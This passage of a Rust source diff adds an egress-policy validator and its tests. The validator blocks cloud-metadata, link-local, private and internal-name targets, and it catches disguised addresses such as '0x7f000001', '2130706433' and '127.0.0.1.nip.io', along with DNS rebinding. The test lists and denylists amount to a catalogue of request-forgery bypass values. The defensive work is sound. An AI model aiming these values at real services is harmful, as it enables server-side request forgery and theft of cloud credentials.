range. An IPv6 `net` is tested +/// against the range's IPv4-mapped image (`::ffff:a.b.c.d/(96+p)`), so +/// `::ffff:10.0.0.0/104` is caught like `10.0.0.0/8`. +fn net_overlaps_v4_range(net: &IpNet, range: &BlockedRange4) -> bool { + match net.addr { + IpAddr::V4(a) => v4_overlaps(a, net.prefix, range.net, range.prefix), + IpAddr::V6(a) => v6_overlaps(a, net.prefix, range.net.to_ipv6_mapped(), 96 + range.prefix), + } +} + +/// Overlap of `net` with a blocked IPv6 range. No IPv6 range in the table +/// lies inside the IPv4-mapped block, so an IPv4 `net` never overlaps one. +fn net_overlaps_v6_range(net: &IpNet, range: &BlockedRange6) -> bool { + match net.addr { + IpAddr::V4(_) => false, + IpAddr::V6(a) => v6_overlaps(a, net.prefix, range.net, range.prefix), + } +} + +fn v4_range_text(range: &BlockedRange4) -> String { + format!("{}/{}", range.net, range.prefix) +} + +fn v6_range_text(range: &BlockedRange6) -> String { + format!("{}/{}", range.net, range.prefix) +} + +/// The always-blocked range `net` overlaps, if any, as `(range, reason)`. +pub fn always_blocked_net_reason(net: &IpNet) -> Option<(String, &'static str)> { + ALWAYS_BLOCKED_V4 + .iter() + .find(|r| net_overlaps_v4_range(net, r)) + .map(|r| (v4_range_text(r), r.reason)) + .or_else(|| { + ALWAYS_BLOCKED_V6 + .iter() + .find(|r| net_overlaps_v6_range(net, r)) + .map(|r| (v6_range_text(r), r.reason)) + }) +} + +/// The `block_internal` range `net` overlaps, if any, as `(range, reason)`. +pub fn non_public_net_reason(net: &IpNet) -> Option<(String, &'static str)> { + BLOCK_INTERNAL_V4 + .iter() + .find(|r| net_overlaps_v4_range(net, r)) + .map(|r| (v4_range_text(r), r.reason)) + .or_else(|| { + BLOCK_INTERNAL_V6 + .iter() + .find(|r| net_overlaps_v6_range(net, r)) + .map(|r| (v6_range_text(r), r.reason)) + }) +} + +/// Enforce the egress policy for a CIDR target on behalf of argument `name`. +/// The whole range is tested for overlap with each blocked prefix: a range +/// that contains, is contained in, or is any blocked range is refused, so a +/// supernet (`8.0.0.0/5` ⊃ `10.0.0.0/8`) or `::/0` cannot pass on the +/// strength of a public base address. +pub fn enforce_cidr_policy( + name: &str, + net: &IpNet, + block_internal: bool, +) -> Result<(), ToolCladError> { + if let Some((range, reason)) = always_blocked_net_reason(net) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' target range overlaps {range}, which {reason}" + ))); + } + if block_internal { + if let Some((range, reason)) = non_public_net_reason(net) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' target range overlaps {range}, which {reason} (blocked by block_internal policy)" + ))); + } + } + Ok(()) +} + +/// The IPv4 view of `ip`: the address itself, or the embedded address of an +/// IPv4-mapped IPv6 literal (`::ffff:a.b.c.d`). `None` for every other IPv6. +fn unwrap_v4(ip: &IpAddr) -> Option { + match ip { + IpAddr::V4(a) => Some(*a), + IpAddr::V6(a) => a.to_ipv4_mapped(), + } +} + +/// Reason if `ip` must be blocked regardless of policy: link-local +/// (169.254.0.0/16, fe80::/10), which includes the cloud-metadata endpoint +/// 169.254.169.254. IPv4-mapped IPv6 is unwrapped first. +pub fn always_blocked_ip_reason(ip: &IpAddr) -> Option<&'static str> { + if let Some(a) = unwrap_v4(ip) { + return ALWAYS_BLOCKED_V4 + .iter() + .find(|r| v4_in_range(a, r)) + .map(|r| r.reason); + } + if let IpAddr::V6(a) = ip { + return ALWAYS_BLOCKED_V6 + .iter() + .find(|r| v6_in_range(*a, r)) + .map(|r| r.reason); + } + None +} + +/// Reason if `ip` is a non-public address that the opt-in `block_internal` +/// policy blocks: loopback, private, shared, unspecified, broadcast, +/// documentation, benchmarking, reserved, and the IPv6 equivalents. +/// IPv4-mapped IPv6 is unwrapped so `::ffff:127.0.0.1` is caught. +pub fn non_public_ip_reason(ip: &IpAddr) -> Option<&'static str> { + if let Some(a) = unwrap_v4(ip) { + return BLOCK_INTERNAL_V4 + .iter() + .find(|r| v4_in_range(a, r)) + .map(|r| r.reason); + } + if let IpAddr::V6(a) = ip { + return BLOCK_INTERNAL_V6 + .iter() + .find(|r| v6_in_range(*a, r)) + .map(|r| r.reason); + } + None +} + +/// Enforce the egress policy for a literal (or resolved) target IP on behalf +/// of argument `name`: link-local / metadata is always blocked; the remaining +/// non-public ranges are blocked only under the opt-in `block_internal` +/// policy. +pub fn enforce_ip_policy( + name: &str, + ip: &IpAddr, + block_internal: bool, +) -> Result<(), ToolCladError> { + if let Some(reason) = always_blocked_ip_reason(ip) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' target {reason}" + ))); + } + if block_internal { + if let Some(reason) = non_public_ip_reason(ip) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' target {reason} (blocked by block_internal policy)" + ))); + } + } + Ok(()) +} + +/// Parse only canonical IP text (dotted-quad IPv4 / standard IPv6). Rejects +/// integer, hex, octal, and shorthand encodings by construction: the `std` +/// parsers accept nothing else. +pub fn parse_canonical_ip(val: &str) -> Option { + val.parse::() + .map(IpAddr::V4) + .or_else(|_| val.parse::().map(IpAddr::V6)) + .ok() +} + +/// True if `val` is an attempt at an IP literal in a non-canonical encoding: +/// a `0x…` hex form, or every dot-separated label is all ASCII digits +/// (integer / dotted-decimal / octal / shorthand). A libc resolver would +/// expand any of these to an address, so they must never pass as a hostname. +/// Canonical IPs are handled by [`parse_canonical_ip`] first and never reach +/// here. +pub fn looks_like_ip_literal(val: &str) -> bool { + let lower = val.to_ascii_lowercase(); + if lower.starts_with("0x") { + return true; + } + val.split('.') + .all(|label| !label.is_empty() && label.bytes().all(|b| b.is_ascii_digit())) +} + +/// True if any DNS label in `host` is an A-label (`xn--…`). Comparison is +/// case-insensitive per IDNA: `XN--`, `Xn--`, `xN--` all count. Punycode is +/// rejected everywhere because a homoglyph domain supplied in its ASCII form +/// would otherwise satisfy an ASCII-only hostname check. +pub fn has_punycode_label(host: &str) -> bool { + host.split('.') + .any(|label| label.len() >= 4 && label.as_bytes()[..4].eq_ignore_ascii_case(b"xn--")) +} + +/// Names refused outright, with or without `block_internal`: a host equal to +/// one of these. +pub const INTERNAL_NAME_EXACT: &[&str] = &["localhost", "metadata.google.internal"]; + +/// Names refused outright, with or without `block_internal`: a host ending in +/// one of these suffixes. `.local` is mDNS, `.internal` / `.home.arpa` / +/// `.lan` / `.intranet` / `.corp` / `.private` are the conventional private +/// zones, and `.localhost` is reserved for loopback (RFC 6761). +pub const INTERNAL_NAME_SUFFIXES: &[&str] = &[ + ".localhost", + ".local", + ".internal", + ".home.arpa", + ".lan", + ".intranet", + ".corp", + ".private", +]; + +/// True if `host` is on the internal-name denylist. The comparison is +/// case-insensitive (DNS is) and ignores one trailing dot (an absolute name +/// is the same name); the validators' hostname grammar refuses a trailing dot +/// anyway, so this only matters for callers that use the helper directly. +pub fn is_internal_name(host: &str) -> bool { + let lower = host.to_ascii_lowercase(); + let host = lower.strip_suffix('.').unwrap_or(&lower); + INTERNAL_NAME_EXACT.contains(&host) || INTERNAL_NAME_SUFFIXES.iter().any(|s| host.ends_with(s)) +} + +/// The IPv4 address a hostname spells at its front, if any: +/// +/// * the **first four** dot-separated labels form a canonical dotted quad +/// (`127.0.0.1.nip.io`, `169.254.169.254.xip.io`), or +/// * the **first label** is a dashed quad of four 1–3 digit groups each in +/// 0–255 (`10-0-0-1.nip.io`). +/// +/// Wildcard-DNS services resolve such names to exactly that address, which +/// made them a one-step bypass of a string-only host check. A host with an +/// embedded literal is treated as that address by the policy; the shape alone +/// is not a refusal (`93-184-216-34.example.com` is a public address). +pub fn embedded_ip_literal(host: &str) -> Option { + let labels: Vec<&str> = host.split('.').collect(); + if labels.len() >= 4 { + if let Ok(ip) = labels[..4].join(".").parse::() { + return Some(ip); + } + } + let first = labels.first()?; + let groups: Vec<&str> = first.split('-').collect(); + if groups.len() != 4 { + return None; + } + let mut octets = [0u8; 4]; + for (slot, group) in octets.iter_mut().zip(&groups) { + let is_digits = + !group.is_empty() && group.len() <= 3 && group.bytes().all(|b| b.is_ascii_digit()); + if !is_digits { + return None; + } + *slot = group.parse().ok()?; + } + Some(Ipv4Addr::from(octets)) +} + +/// A hostname resolver: the system one, or a stand-in under test. Returns +/// every address the name maps to, or an error when it maps to none. +pub type HostResolver = fn(&str) -> std::io::Result>; + +/// Resolve `host` with the system resolver via `(host, 0).to_socket_addrs()`, +/// which returns every A and AAAA answer. `std` offers no per-call deadline; +/// the lookup is bounded by the platform resolver's own timeout and retry +/// settings (`resolv.conf` `options timeout:` / `attempts:` on Linux). +pub fn system_resolve(host: &str) -> std::io::Result> { + Ok((host, 0u16).to_socket_addrs()?.map(|sa| sa.ip()).collect()) +} + +/// Under `block_internal`, resolve `host` and apply the full range policy to +/// **every** answer: one internal address among the answers is a refusal. +/// This is the control that closes DNS rebinding and attacker-controlled +/// domains, so a name that cannot be resolved is refused rather than passed +/// (it cannot be shown to be public). +/// +/// Resolve-then-reconnect window: the target binary performs its own lookup +/// after this check and may receive a different answer. A runtime closing +/// that window should pin the address verified here into the invocation +/// (for example `curl --resolve host:443:ip`); that pinning is out of scope +/// for the validator and is the follow-up this seam exists for. +pub fn enforce_resolved_host_policy(name: &str, host: &str) -> Result<(), ToolCladError> { + enforce_resolved_host_policy_with(name, host, system_resolve) +} + +/// [`enforce_resolved_host_policy`] with an explicit resolver, so the +/// every-answer rule can be tested without live DNS. +pub fn enforce_resolved_host_policy_with( + name: &str, + host: &str, + resolve: HostResolver, +) -> Result<(), ToolCladError> { + let answers = match resolve(host) { + Ok(answers) if !answers.is_empty() => answers, + _ => { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' could not resolve host '{host}' to verify it is public (block_internal)" + ))); + } + }; + for ip in &answers { + enforce_ip_policy(name, ip, true)?; + } + Ok(()) +} + +/// The hostname rules, in order, for a structurally valid hostname (not a +/// literal — the validators handle literals and CIDRs first): +/// +/// 1. internal-name denylist — always refused; +/// 2. embedded IP literal — the host is treated as that address under the +/// range policy, and if the policy allows it the host is accepted as is; +/// 3. under `block_internal`, DNS resolution with the range policy applied +/// to every answer, failing closed when the name does not resolve. +pub fn enforce_hostname_policy( + name: &str, + host: &str, + block_internal: bool, +) -> Result<(), ToolCladError> { + if is_internal_name(host) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' target resolves to an internal name — always blocked" + ))); + } + if let Some(ip) = embedded_ip_literal(host) { + return enforce_ip_policy(name, &IpAddr::V4(ip), block_internal); + } + if block_internal { + return enforce_resolved_host_policy(name, host); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn ip(s: &str) -> IpAddr { + s.parse().unwrap_or_else(|_| panic!("bad test literal {s}")) + } + + #[test] + fn always_blocked_tier_fires_in_both_modes() { + for v in [ + "169.254.169.254", + "169.254.0.1", + "169.254.255.255", + "::ffff:169.254.169.254", + "fe80::1", + "febf::1", // top of fe80::/10 + ] { + let a = ip(v); + assert!(always_blocked_ip_reason(&a).is_some(), "{v}"); + for block_internal in [false, true] { + let err = enforce_ip_policy("t", &a, block_internal) + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{v} -> {err}"); + } + } + // Just outside the ranges. + for v in ["169.253.255.255", "169.255.0.0", "fe7f::1", "fec0::1"] { + assert!(always_blocked_ip_reason(&ip(v)).is_none(), "{v}"); + } + } + + #[test] + fn block_internal_tier_covers_every_range() { + // One representative per table row, plus the IPv4-mapped spelling. + let cases: &[(&str, &str)] = &[ + ("127.0.0.1", "loopback"), + ("127.255.255.254", "loopback"), + ("10.0.0.5", "private"), + ("172.16.0.1", "private"), + ("172.31.255.255", "private"), + ("192.168.1.1", "private"), + ("100.64.0.1", "carrier-grade NAT"), + ("100.127.255.255", "carrier-grade NAT"), + ("0.0.0.0", "unspecified"), + ("0.1.2.3", "unspecified"), + ("255.255.255.255", "broadcast"), + ("192.0.2.1", "documentation"), + ("198.51.100.1", "documentation"), + ("203.0.113.1", "documentation"), + ("198.18.0.1", "benchmarking"), + ("198.19.255.255", "benchmarking"), + ("240.0.0.1", "reserved"), + ("255.255.255.254", "reserved"), + ("::1", "loopback"), + ("::", "unspecified"), + ("fc00::1", "unique-local"), + ("fdff::1", "unique-local"), + ("fe80::1", "link-local"), + ("2001:db8::1", "documentation"), + ("2001:db8:ffff:ffff:ffff:ffff:ffff:ffff", "documentation"), + ("::ffff:127.0.0.1", "loopback"), + ("::ffff:10.1.2.3", "private"), + ("::ffff:100.64.0.1", "carrier-grade NAT"), + ("::ffff:0.0.0.0", "unspecified"), + ("::ffff:255.255.255.255", "broadcast"), + ("::ffff:198.18.0.1", "benchmarking"), + ("::ffff:240.0.0.1", "reserved"), + ]; + for (v, word) in cases { + let a = ip(v); + let reason = non_public_ip_reason(&a).unwrap_or_else(|| panic!("{v} not blocked")); + assert!(reason.contains(word), "{v}: {reason}"); + // Enforced when the policy is on. A row that also sits in the + // always-blocked tier (fe80::/10) is reported by that tier first + // and is refused with the policy off as well; every other row is + // open with the policy off. + let err = enforce_ip_policy("t", &a, true).unwrap_err().to_string(); + if always_blocked_ip_reason(&a).is_some() { + assert!(err.contains("always blocked"), "{v} -> {err}"); + assert!(enforce_ip_policy("t", &a, false).is_err(), "{v} off"); + } else { + assert!( + err.contains("blocked by block_internal policy"), + "{v} -> {err}" + ); + assert!(enforce_ip_policy("t", &a, false).is_ok(), "{v} off"); + } + } + } + + #[test] + fn block_internal_tier_range_boundaries() { + // Immediately outside each range is public. + for v in [ + "126.255.255.255", + "128.0.0.0", + "9.255.255.255", + "11.0.0.0", + "172.15.255.255", + "172.32.0.0", + "192.167.255.255", + "192.169.0.0", + "100.63.255.255", + "100.128.0.0", + "1.0.0.0", + "192.0.1.255", + "192.0.3.0", + "198.51.99.255", + "198.51.101.0", + "203.0.112.255", + "203.0.114.0", + "198.17.255.255", + "198.20.0.0", + "239.255.255.255", + "93.184.216.34", + "8.8.8.8", + "::2", + "fbff::1", + "fe00::1", + "2001:db7:ffff::1", + "2001:db9::1", + "2606:2800:220:1:248:1893:25c8:1946", + "::ffff:93.184.216.34", + ] { + let a = ip(v); + assert!(non_public_ip_reason(&a).is_none(), "{v} should be public"); + assert!(enforce_ip_policy("t", &a, true).is_ok(), "{v}"); + } + } + + #[test] + fn broadcast_is_reported_before_reserved() { + assert_eq!( + non_public_ip_reason(&ip("255.255.255.255")), + Some("is the broadcast address") + ); + } + + #[test] + fn prefix_math_handles_zero_and_full_prefixes() { + let all4 = r4(0, 0, 0, 0, 0, "everything"); + assert!(v4_in_range(Ipv4Addr::new(93, 184, 216, 34), &all4)); + let exact4 = r4(93, 184, 216, 34, 32, "exact"); + assert!(v4_in_range(Ipv4Addr::new(93, 184, 216, 34), &exact4)); + assert!(!v4_in_range(Ipv4Addr::new(93, 184, 216, 35), &exact4)); + + let all6 = r6(0, 0, 0, 0, 0, 0, 0, 0, 0, "everything"); + assert!(v6_in_range( + Ipv6Addr::new(0x2606, 0x2800, 0, 0, 0, 0, 0, 1), + &all6 + )); + let exact6 = r6(0, 0, 0, 0, 0, 0, 0, 1, 128, "exact"); + assert!(v6_in_range(Ipv6Addr::LOCALHOST, &exact6)); + assert!(!v6_in_range(Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 2), &exact6)); + } + + #[test] + fn range_table_matches_policy_document() { + // Pin the table shape so a drift in any runtime is a visible diff. + let v4: Vec = BLOCK_INTERNAL_V4 + .iter() + .map(|r| format!("{}/{}", r.net, r.prefix)) + .collect(); + assert_eq!( + v4, + [ + "127.0.0.0/8", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16", + "100.64.0.0/10", + "0.0.0.0/8", + "255.255.255.255/32", + "192.0.2.0/24", + "198.51.100.0/24", + "203.0.113.0/24", + "198.18.0.0/15", + "240.0.0.0/4", + ] + ); + let v6: Vec = BLOCK_INTERNAL_V6 + .iter() + .map(|r| format!("{}/{}", r.net, r.prefix)) + .collect(); + assert_eq!( + v6, + [ + "::1/128", + "::/128", + "fc00::/7", + "fe80::/10", + "2001:db8::/32" + ] + ); + let always4: Vec = ALWAYS_BLOCKED_V4 + .iter() + .map(|r| format!("{}/{}", r.net, r.prefix)) + .collect(); + assert_eq!(always4, ["169.254.0.0/16"]); + let always6: Vec = ALWAYS_BLOCKED_V6 + .iter() + .map(|r| format!("{}/{}", r.net, r.prefix)) + .collect(); + assert_eq!(always6, ["fe80::/10"]); + } + + #[test] + fn canonical_ip_parser_rejects_resolver_expansions() { + assert!(parse_canonical_ip("127.0.0.1").is_some()); + assert!(parse_canonical_ip("::1").is_some()); + assert!(parse_canonical_ip("::ffff:127.0.0.1").is_some()); + for v in [ + "2130706433", + "0x7f000001", + "0177.0.0.1", + "127.1", + "010.0.0.1", + "127.0.0.1.", + "[::1]", + ] { + assert!(parse_canonical_ip(v).is_none(), "{v}"); + } + } + + #[test] + fn non_canonical_literal_detection() { + for v in [ + "2130706433", + "0x7f000001", + "0X7F000001", + "0177.0.0.1", + "127.1", + "1.2.3", + ] { + assert!(looks_like_ip_literal(v), "{v}"); + } + for v in ["example.com", "localhost", "1.example", "a.1", "", "."] { + assert!(!looks_like_ip_literal(v), "{v}"); + } + } + + #[test] + fn punycode_label_detection_is_case_insensitive() { + for v in [ + "xn--example-9c.com", + "sub.XN--example.com", + "Xn--a.b", + "a.xN--b", + ] { + assert!(has_punycode_label(v), "{v}"); + } + for v in ["example.com", "xn-.com", "axn--b.com", "xn.com", ""] { + assert!(!has_punycode_label(v), "{v}"); + } + } + + #[test] + fn internal_name_denylist() { + for v in [ + "localhost", + "LOCALHOST", + "localhost.", + "api.localhost", + "a.b.c.localhost", + "printer.local", + "Printer.LOCAL", + "metadata.google.internal", + "METADATA.GOOGLE.INTERNAL.", + "db.internal", + "x.home.arpa", + "nas.lan", + "wiki.intranet", + "fs.corp", + "vpn.private", + ] { + assert!(is_internal_name(v), "{v}"); + } + for v in [ + "localhost.com", + "notlocalhost", + "internal.example.com", + "example.local.com", + "local", + "internal", + "home.arpa", + "corp", + "lan", + "example.com", + "metadata.google.internal.example.com", + "localhost..", // only one trailing dot is ignored + "", + ] { + assert!(!is_internal_name(v), "{v}"); + } + } + + #[test] + fn embedded_ip_literal_shapes() { + let found = |s: &str| embedded_ip_literal(s).map(|ip| ip.to_string()); + for (host, addr) in [ + ("127.0.0.1.nip.io", "127.0.0.1"), + ("169.254.169.254.xip.io", "169.254.169.254"), + ("10-0-0-1.nip.io", "10.0.0.1"), + ("93-184-216-34.example.com", "93.184.216.34"), + ("010-0-0-1.nip.io", "10.0.0.1"), // dashed groups are 1-3 digits, 0-255 + ("10-0-0-1", "10.0.0.1"), + ("1.2.3.4.5.6", "1.2.3.4"), + ("255-255-255-255.x", "255.255.255.255"), + ] { + assert_eq!(found(host).as_deref(), Some(addr), "{host}"); + } + for v in [ + "example.com", + "nip.io", + "127.0.0.nip.io", + "010.0.0.1.nip.io", // the dotted form must be canonical + "256-0-0-1.nip.io", + "1-2-3.nip.io", + "1-2-3-4-5.nip.io", + "a-b-c-d.nip.io", + "1234-0-0-1.nip.io", + "-1-2-3.nip.io", + "1-2-3-.nip.io", + "1.2.3.x.y", + "", + ] { + assert_eq!(found(v), None, "{v}"); + } + } + + #[test] + fn cidr_parser_is_strict() { + let net = |s: &str| parse_cidr(s).map(|n| n.to_string()); + for v in [ + "10.0.0.0/8", + "10.0.0.5/24", + "0.0.0.0/0", + "8.8.8.8/32", + "2001:db8::/32", + "::/0", + "::1/128", + "::ffff:10.0.0.0/104", + ] { + assert_eq!(net(v).as_deref(), Some(v), "{v}"); + } + for v in [ + "10.0.0.0/33", + "2001:db8::/129", + "2001:db8::/1000", + "10.0.0.0/024", + "10.0.0.0/+24", + "10.0.0.0/-1", + "10.0.0.0/0x8", + "10.0.0.0/ 8", + "10.0.0.0/", + "/8", + "10.0.0.0", + "10.0.0/8", + "0x0a000000/8", + "0177.0.0.0/8", + "127.1/8", + "10.0.0.0/8/", + "10.0.0.0/8/24", + "[::1]/128", + "", + ] { + assert_eq!(net(v), None, "{v}"); + } + } + + #[test] + fn overlap_boundaries_v4() { + let o = |a: &str, ap: u8, b: &str, bp: u8| { + v4_overlaps(a.parse().unwrap(), ap, b.parse().unwrap(), bp) + }; + // Supernet, subnet, equal, everything. + assert!(o("8.0.0.0", 5, "10.0.0.0", 8)); + assert!(o("10.0.0.0", 8, "8.0.0.0", 5)); + assert!(o("10.0.0.0", 8, "10.0.0.0", 8)); + assert!(o("10.1.2.0", 24, "10.0.0.0", 8)); + assert!(o("0.0.0.0", 0, "10.0.0.0", 8)); + assert!(o("0.0.0.0", 0, "255.255.255.255", 32)); + // 8.0.0.0/6 is 8-11 and holds 10/8; 8.0.0.0/7 is 8-9 and does not. + assert!(o("8.0.0.0", 6, "10.0.0.0", 8)); + assert!(!o("8.0.0.0", 7, "10.0.0.0", 8)); + // One address either side of 10/8, and its first and last address. + assert!(!o("9.255.255.255", 32, "10.0.0.0", 8)); + assert!(o("10.0.0.0", 32, "10.0.0.0", 8)); + assert!(o("10.255.255.255", 32, "10.0.0.0", 8)); + assert!(!o("11.0.0.0", 32, "10.0.0.0", 8)); + assert!(!o("9.0.0.0", 8, "10.0.0.0", 8)); + assert!(!o("11.0.0.0", 8, "10.0.0.0", 8)); + // 172.16/12 edges. + assert!(!o("172.15.255.255", 32, "172.16.0.0", 12)); + assert!(o("172.16.0.0", 32, "172.16.0.0", 12)); + assert!(o("172.31.255.255", 32, "172.16.0.0", 12)); + assert!(!o("172.32.0.0", 32, "172.16.0.0", 12)); + assert!(o("172.0.0.0", 8, "172.16.0.0", 12)); + assert!(!o("172.32.0.0", 11, "172.16.0.0", 12)); + // Host routes. + assert!(o("1.2.3.4", 32, "1.2.3.4", 32)); + assert!(!o("1.2.3.4", 32, "1.2.3.5", 32)); + assert!(o("1.2.3.4", 31, "1.2.3.5", 32)); + } + + #[test] + fn overlap_boundaries_v6() { + let o = |a: &str, ap: u8, b: &str, bp: u8| { + v6_overlaps(a.parse().unwrap(), ap, b.parse().unwrap(), bp) + }; + assert!(o("2001:db8::", 32, "2001:db8:ffff::", 48)); + assert!(o("2001:db8:ffff::", 48, "2001:db8::", 32)); + assert!(o("2000::", 3, "2001:db8::", 32)); + assert!(o("::", 0, "fe80::", 10)); + assert!(!o("2001:db9::", 32, "2001:db8::", 32)); + assert!(!o("2001:db7:ffff::", 48, "2001:db8::", 32)); + assert!(o( + "2001:db8:ffff:ffff:ffff:ffff:ffff:ffff", + 128, + "2001:db8::", + 32 + )); + assert!(!o("2001:db9::", 128, "2001:db8::", 32)); + // fe80::/10 is fe80-febf. + assert!(!o("fe7f:ffff::", 32, "fe80::", 10)); + assert!(o("fe80::", 128, "fe80::", 10)); + assert!(o("febf:ffff::", 32, "fe80::", 10)); + assert!(!o("fec0::", 32, "fe80::", 10)); + assert!(o("fe00::", 7, "fe80::", 10)); // fe00-feff + assert!(!o("fe00::", 9, "fe80::", 10)); // fe00-fe7f + // fc00::/7 is fc00-fdff. + assert!(o("fdff::", 16, "fc00::", 7)); + assert!(!o("fe00::", 16, "fc00::", 7)); + assert!(!o("fbff::", 16, "fc00::", 7)); + // Host routes. + assert!(o("::1", 128, "::1", 128)); + assert!(!o("::2", 128, "::1", 128)); + assert!(o("::", 127, "::1", 128)); + } + + #[test] + fn cidr_policy_tests_overlap_not_base() { + let net = |s: &str| parse_cidr(s).unwrap_or_else(|| panic!("bad test cidr {s}")); + // The supernet case: a public base address that contains 10.0.0.0/8. + let err = enforce_cidr_policy("t", &net("8.0.0.0/5"), true) + .unwrap_err() + .to_string(); + assert!(err.contains("overlaps 10.0.0.0/8"), "{err}"); + assert!(err.contains("blocked by block_internal policy"), "{err}"); + // It holds no link-local space, so it is open without the policy. + assert!(enforce_cidr_policy("t", &net("8.0.0.0/5"), false).is_ok()); + + // Anything touching the always-blocked tier is refused in both modes, + // including the whole address space and the IPv4-mapped block. + for v in [ + "0.0.0.0/0", + "::/0", + "169.254.0.0/16", + "169.254.169.254/32", + "169.0.0.0/8", + "::ffff:169.254.0.0/112", + "::ffff:0:0/96", + "::ffff:0:0/95", + "fe80::/10", + "fe00::/7", + ] { + for block_internal in [false, true] { + let err = enforce_cidr_policy("t", &net(v), block_internal) + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{v}: {err}"); + } + } + + // Inside, equal to, or containing a `block_internal` range — v4, v6 + // and v4-mapped — refused with the policy and open without it. + for (v, range) in [ + ("10.0.0.0/24", "10.0.0.0/8"), + ("10.0.0.0/8", "10.0.0.0/8"), + ("127.0.0.1/32", "127.0.0.0/8"), + ("172.16.0.0/12", "172.16.0.0/12"), + ("172.0.0.0/8", "172.16.0.0/12"), + ("192.168.1.0/24", "192.168.0.0/16"), + ("192.0.0.0/8", "192.168.0.0/16"), + ("100.64.0.0/10", "100.64.0.0/10"), + ("198.18.0.0/15", "198.18.0.0/15"), + ("2001:db8::/32", "2001:db8::/32"), + ("2001:db8:1::/48", "2001:db8::/32"), + ("2001::/16", "2001:db8::/32"), + ("fc00::/7", "fc00::/7"), + ("fd00::/8", "fc00::/7"), + ("::1/128", "::1/128"), + ("::/127", "::1/128"), + ("::ffff:10.0.0.0/104", "10.0.0.0/8"), + ("::ffff:127.0.0.1/128", "127.0.0.0/8"), + ] { + let err = enforce_cidr_policy("t", &net(v), true) + .unwrap_err() + .to_string(); + assert!(err.contains(&format!("overlaps {range}")), "{v}: {err}"); + assert!( + err.contains("blocked by block_internal policy"), + "{v}: {err}" + ); + assert!(enforce_cidr_policy("t", &net(v), false).is_ok(), "{v} open"); + } + + // Public ranges pass in both modes. + for v in [ + "93.184.216.0/24", + "8.8.8.0/24", + "1.0.0.0/8", + "11.0.0.0/8", + "172.32.0.0/11", + "192.169.0.0/16", + "2606:4700::/32", + "2a00::/12", + "2001:db9::/32", + "2001:db7::/32", + "::ffff:93.184.216.0/120", + "::2/127", + ] { + assert!(enforce_cidr_policy("t", &net(v), true).is_ok(), "{v}"); + assert!(enforce_cidr_policy("t", &net(v), false).is_ok(), "{v}"); + } + } + + #[test] + fn resolved_host_policy_checks_every_answer() { + fn all_public(_: &str) -> std::io::Result> { + Ok(vec![ + ip("93.184.216.34"), + ip("2606:2800:220:1:248:1893:25c8:1946"), + ]) + } + fn one_internal(_: &str) -> std::io::Result> { + Ok(vec![ip("93.184.216.34"), ip("10.0.0.1")]) + } + fn metadata(_: &str) -> std::io::Result> { + Ok(vec![ip("169.254.169.254")]) + } + fn mapped_loopback(_: &str) -> std::io::Result> { + Ok(vec![ip("::ffff:127.0.0.1")]) + } + fn empty(_: &str) -> std::io::Result> { + Ok(vec![]) + } + fn failing(_: &str) -> std::io::Result> { + Err(std::io::Error::other("no such host")) + } + + assert!(enforce_resolved_host_policy_with("t", "h.example", all_public).is_ok()); + let err = enforce_resolved_host_policy_with("t", "h.example", one_internal) + .unwrap_err() + .to_string(); + assert!(err.contains("blocked by block_internal policy"), "{err}"); + let err = enforce_resolved_host_policy_with("t", "h.example", mapped_loopback) + .unwrap_err() + .to_string(); + assert!(err.contains("loopback"), "{err}"); + let err = enforce_resolved_host_policy_with("t", "h.example", metadata) + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{err}"); + for resolver in [empty as HostResolver, failing] { + let err = enforce_resolved_host_policy_with("t", "h.example", resolver) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "validation error: argument 't' could not resolve host 'h.example' to verify it is public (block_internal)" + ); + } + } + + #[test] + fn hostname_policy_order() { + // The denylist wins in both modes. + for block_internal in [false, true] { + let err = enforce_hostname_policy("t", "api.localhost", block_internal) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "validation error: argument 't' target resolves to an internal name — always blocked" + ); + } + // An embedded literal is treated as that address: a public one needs + // no lookup, an internal one is refused under the policy, link-local + // is refused regardless. + assert!(enforce_hostname_policy("t", "93-184-216-34.example.com", true).is_ok()); + assert!(enforce_hostname_policy("t", "93.184.216.34.nip.io", true).is_ok()); + let err = enforce_hostname_policy("t", "127.0.0.1.nip.io", true) + .unwrap_err() + .to_string(); + assert!( + err.contains("loopback") && err.contains("block_internal"), + "{err}" + ); + assert!(enforce_hostname_policy("t", "127.0.0.1.nip.io", false).is_ok()); + let err = enforce_hostname_policy("t", "169.254.169.254.nip.io", false) + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{err}"); + // Resolution happens only under the policy. `.invalid` is reserved by + // RFC 2606 and never resolves: open without the policy, refused with it. + assert!(enforce_hostname_policy("t", "no-such-host.invalid", false).is_ok()); + let err = enforce_hostname_policy("t", "no-such-host.invalid", true) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "validation error: argument 't' could not resolve host 'no-such-host.invalid' to verify it is public (block_internal)" + ); + } +} diff --git a/rust/src/lib.rs b/rust/src/lib.rs index 1190b11..7e5e5fd 100644 --- a/rust/src/lib.rs +++ b/rust/src/lib.rs @@ -16,7 +16,26 @@ //! because the interface doesn't permit it. //! //! All string-based types reject shell metacharacters (`;|&$\`(){}[]<>!`) -//! by default. +//! by default. String-derived values (`string`, `path`, `credential_file`, +//! `regex_match`, `url`, `scope_target`, `duration`, `msf_options`) are also +//! refused if they contain NUL or control characters, quotes or backslashes, +//! whitespace, or start with `-`/`+`, so a value can never be re-split into +//! extra arguments or parsed by the target binary as an option. An arg opts +//! out per rule with `allow_leading_dash = true` or (declared `exec` only) +//! `allow_whitespace = true`. +//! +//! Commands are built from an argv array. A legacy `[command] template` is +//! tokenized once at load, on manifest text only; substituted values are +//! never re-split and `end_of_options = "--"` can fence user values off from +//! option parsing entirely. +//! +//! A manifest key the runtime does not know is a load error +//! (`unknown key 'tool.tiemout_seconds' in manifest`), never a silently +//! ignored control. The only escape hatch is +//! 